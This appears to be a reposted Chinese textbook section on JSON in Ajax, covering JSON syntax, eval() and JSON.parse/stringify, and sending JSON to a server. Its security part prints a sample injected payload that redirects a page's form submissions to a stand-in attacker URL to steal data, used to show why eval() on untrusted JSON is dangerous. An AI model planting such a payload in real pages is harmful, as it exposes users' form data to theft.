第17章 Ajax 與 JSON (三)

 

17.3 JSON

雖然 XML 在 Ajax 運動中具有舉足輕重的地位,但 JavaScript 開發人員很快就對它失去了興趣。第15章曾經討論過,在 JavaScript 中操作 XML 存在嚴重的跨瀏覽器問題而且從 XML 結果中提取數據也要涉及遍歷 DOM 文檔,而這些操作都需要編寫大量的代碼。Douglas Crockford 發明了一種名叫 JSON (JavaScript Object Notation,JavaScript 對象表示法) 的數據格式,用以避免使用 XML 數據的麻煩。

JSON 的基礎是JavaScript 語法中的一個子集,特別是對象和數組字面量。使用 JSON 能夠創建與 XML 相同的數據結構。例如,(1) 一組名-值對可以使用下面這個包含命名屬性的對象來表示

{

"name": "Nicholas C. Zakas",

"title": "Software Engineer",

"author": true,

"age": 29

}

這個例子展示的就是一個包含4個屬性的數據對象。每個屬性名必須用雙引號引起來而屬性的值可以是字符串、數值、布爾值、null、對象或者數組。更重要的是,這個數據對象同時還是 JavaScript 中有效的對象字面量,因此可以將它直接賦值給一個變量,如下面的例子所示:

var person = {

"name": "Nicholas C. Zakas",

"title": "Software Engineer",

"author": true,

"age": 29

};

==== 要注意的是,雖然 JavaScript 不要求給對象的屬性加引號,但未加引號的屬性在 JSON 中則被視爲一個語法錯誤。====

(2) JSON 使用 JavaScript 中的數組字面量語法來表示數組。來看一個例子:

[1, 2, "color", true, null]

數組中的值可以是字符串、數值、布爾值、null、對象或其他數組。例如,可以像下面這樣創建一個描述人的對象數組:

[
	{
		"name": "Nicholas C. Zakas",
		"title": "Software Engineer",
		"author": true,
		"age": 29
	},
	{
		"name": "Jim Smith",
		"title": "Salesperson",
		"author": false,
		"age": 35
	}
]


 

==== 切記,這些都是純文本,而不是 JavaScript 代碼。==== 

JSON 的設計意圖是在服務器端構建格式化的數據,然後再將數據發送給瀏覽器。由於 JSON 在 JavaScript 中相當於對象和數組,因此 JSON 字符串可以傳遞給 eval() 函數,讓其解析並返回一個對象或數組的實例。例如,如果將前面的代碼保存一個名爲 jsonText 的變量中,那麼使用以下代碼就可以訪問其中的數據:

// 求值爲一個數組

var people = eval(jsonText);

// 訪問數據

alert(people[0].name);

people[1].age = 36;

if (people[0].author) {

alert(people[0].name + " is an author");

}

由於 JSON 結構是被轉換爲 JavaScript 對象,所以訪問這種數據比 XML 方便得多。加上這個轉換過程比解析 XML 快,因此 JSON 就成了 XML 的一種很受歡迎的替代格式。

如果你是自己編寫代碼來對 JSON 求值,最好是將輸入的文本放在一對圓括號中。因爲 eval() 在對輸入的文本求值時,是將其作爲 JavaScript 代碼而非數據格式來看待的。在對以左花括號開頭的對象求值時,就好像是遇到一個沒有名字的 JavaScript 語句,結果就會導致錯誤。將文本放在一對圓括號中可以解決這個問題,因爲圓括號表示值而不是語句。來看下面的例子:

var object1 = eval("{}");                                  // 拋出錯誤

var object2 = eval("({})");                               // 沒問題

var object3 = eval("(" + jsonText + ")");       // 通用的解決方案

在這個例子中,第一行代碼會拋出錯誤,因爲解釋器將花括號看作是未命名的語句。第二行代碼將對象字面量放在了圓括號中,因此求值過程很順利。第三行代碼是用來解析任何 JSON 文本的通用的解決方案。

17.3.1 在 Ajax 中使用 JSON 

由於轉換的速度快,而且便於在 JavaScript 代碼中訪問,JSON 在Ajax通信中變得越來越受開發人員的追捧。Web 開發社區已經爲幾乎所有主流的語言都開發了 JSON 解析器和序列化器,使得通過服務器輸出和使用的 JSON 數據變得極爲容易。Douglas Crockford 自己也維護着一個針對 JavaScript 的 JSON 序列化器/解析器,下載地址爲 http://www.json.org/js.html 。此外,IE8 中包含了 Crockford 解析器的原生版本,而 Firefowx 3.1 也將包含該解析器擺上了議事日程。目前,讀者也可以下載他的這個 JavaScript 文件,該文件在所有瀏覽器中都能正常使用。

在 Crockford 的這個 JSON 庫中,有一個全局 JSON 對象,這個對象有兩個方法: parse() 和 stringify() 。其中,parse() 方法接受兩個參數:JSON 文本和一個可選的過濾函數。在傳入的文本是有效的 JSON 的情況下,parse() 方法會返回傳入數據的一個對象表示。下面是使用 parse() 方法的示例:

var object = JSON.parse("{}");

與直接使用 eval() 不同的是,這裏不需要爲傳入的文本加圓括號 (因爲內部會自動處理)。

第二個參數是一個函數,這個函數以一個 JSON 鍵和值作爲參數。要想讓作爲參數傳入的鍵出現在結果對象中,該函數必須返回一個值。它的返回值將成爲結果對象中與指定鍵關聯的值,因此也就爲我們重寫默認的解析機制提供了機會。換句話說,在這個函數中針對某個鍵返回 undefined,就會從結果對象中移除該鍵,如下面的例子所示:

var jsonText = "{\"name\":\"Nicholas C.Zakas\", \"age\":29, \"author\":true }";
var object = JSON.parse(jsonText, function(key, value){
	switch(key){
		case "age": return value + 1;
		case "author": return undefined;
		default: return value;
	}
});
alert(object.age);           // 30
alert(object.author);        // undefined


在以上代碼中,過濾函數會爲每個 "age" 鍵的值加 1 ,會移除數據中的 "author" 鍵;其他值則會原樣返回。於是,結果對象中的 age 屬性就變成了 30,但是卻沒有 author 屬性。這種解析功能經常用於處理服務器返回的數據。假設 addressbook.php 會以下面的格式返回 JSON 數據:

[
	{
		"name": "Nicholas C. Zakas",
		"email": "[email protected]"	
	},
	{
		"name": "Jim Smith",
		"email": "[email protected]",	
	},
	{
		"name": "Michael Jones",
		"email": "[email protected]"	
	}
]


 

可以發送一個 Ajax 請求取得以上數據,然後在客戶端使用下列代碼生成相應的 <ul/> 元素:

var xhr = createXHR();
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
			var contacts = JSON.parse(xhr.responseText);
			var list = document.getElementById("contacts");
			for(var i=0, len=contacts.length; i<len; i++){
				var li = document.createElement("li");
				li.innerHTML = "<a href=\"mailto:" + contacts[i].email + "\">" + contacts[i].name + "</a>";
				list.appendChild(li);
			}
		}
	}	
};
xhr.open("get", "addressbook.php", true);
xhr.send(null);


 

以上代碼從服務器取得了 JSON 字符串,然後將它解析成了 JavaScript 數組。得到數組之後,通過迭代遍歷其中的每個對象,很容易就可以將相應的值插入到 DOM 中。具體來說, <ul/> 元素會包含一些 <li/> 元素,而每個 <li/> 元素則會包含一個鏈接,點擊可以向一個人發送電子郵件。

JSON 同樣也是向服務器發送數據的流行格式。發送數據時,一般會把 JSON 放到 POST 請求主體中,而 JSON 對象的 stringify() 方法正是爲此設計的。這個方法接受3個參數:要序列化的對象、可選的替換函數 (用於替換未受支持的 JSON 值) 和可選的縮進說明符 (可以是每個級別縮進的空格數,也可以是用來縮進的字符)。默認情況下,stringify() 返回未經縮進的 JSON 字符串,下面是一個例子:

var contact = {
	name: "Nicholas C. Zakas",
	email: "nicholas@some-domain"	
};
var jsonText = JSON.stringify(contact);
alert(jsonText);


 這個例子中的警告框會顯示下列未經縮進的字符串:

{\"name\":\"Nicholas C. Zakas\",\"email\":\"[email protected] \"}

由於並不是所有 JavaScript 值都可以使用 JSON 表示,因此結果中只會包含那些正式得到支持的值。例如,函數和 undefined 值無法通過 JSON 表示,包含它們的任何鍵默認都將被移除。要改變這個默認的行爲,可以在第二個參數的位置上傳入一個函數。在序列化過程中每當遇到一個不支持的數據類型時,該函數就會在序列化的對象的作用域中運行,其參數是相應的鍵和值。對於 JSON 支持的數據類型,序列化過程中不會調用這個函數,這些類型包括:字符串、數值、布爾值、null、對象、數組和 Date (最後一個將被轉換成日期的字符串形式)。來看一個例子:

var jsonText = JSON.stringify([new Function()], function(key, value){
	if(value instanceof Function){
		return "(function)";
	}else {
		return value;
	}	
});
alert(jsonText);           // "[(function)]"


這個例子試圖序列化一個包含函數的數組。當遇到函數值時,第二個參數 (即過濾函數) 會將它轉換爲字符串 "(function)" ,該字符串將出現在最終結果中。

使用 POST 請求並將 JSON 文本傳遞給 send() 方法,可以將 JSON 數據發送給服務器。來看下面的例子:

var xhr = createXHR();
var contact = {
	name: "Ted Jones",
	email: "[email protected]"	
};
xhr.onreadystatechange = function(){
	if(xhr.readyState == 4){
		if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
			alert(xhr.responseText);
		}
	}	
};
xhr.open("post", "addcontact.php", true);
xhr.send(JSON.stringify(contact));

這個例子是要將新聯繫人信息保存到服務器,因此要將數據發送給 addcontact.php 文件。在根據新聯繫人信息構建好 contact 對象後,又將它序列化爲 JSON 數據並傳遞給 send() 方法。服務器上的 PHP 頁面負責將接收到的 JSON 數據解析回原來的格式,以便服務器端代碼能夠理解;同時還會向瀏覽器發送響應。

17.3.2 安全

雖然解析速度是 JSON 的一個重要優勢,但 JSON 也有一個明顯的缺點:它使用 eval()。我們知道,eval() 函數不僅可以用來解析 JSON 數據,它還可以解釋任何 JavaScript 代碼。而這就暴露出了一個巨大的安全漏洞。不懷好意的人因此就可以注入與預期 JSON 結構相符的 JavaScript 代碼,而該代碼傳入 eval() 之後就會被執行。來看下面的例子:

[1, 2, (function(){

// 將表單的 action 特性設置爲另一個 URL

document.forms[0].action = "http://paht.to.a.bad.com/stealdata.php";

})(), 3, 4]

在這個例子中,響應的文本包含一個匿名函數,這個函數會修改頁面中的第一個表單的 action 特性,導致表單在提交時,所有數據都會被提交給一個不同的服務器。在不過濾 JSON 數據就直接將其傳遞給 eval() 的情況下,很有可能受到這種 XSS 攻擊。問題在於,服務器返回的任何 JavaScript 代碼在被傳遞給 eval() 以後,都會在頁面的上下文中求值,這實際上就擺脫了爲不同資源而設置的一切安全機制。惡意腳本在頁面中就像一類成員一樣運行,因而可以操作頁面中的一切。

Crockford 的 JavaScript JSON 庫可以妥當地解析 JSON 字符串,能夠確保在將 JSON 轉換爲 JavaScript 對象時,過濾掉其中包含的惡意代碼。我們建議讀者在處理 JSON 數據的時候,一定要使用這個庫或者其他與之類似的庫,以儘量降低遭受代碼注入式 XSS 攻擊的可能性。

一般來說,應該絕對避免將服務器返回的 JavaScript 代碼傳入 eval() 函數中。無論使用 JSON 還是 JavaScript ,都有極大可能遭遇惡意攔截和代碼注入。因此,對從服務器接收到的任何數據,在將其傳入 eval() 之前,必須保證經過適當的分析和驗證。

發佈了0 篇原創文章 · 獲贊 1 · 訪問量 5萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章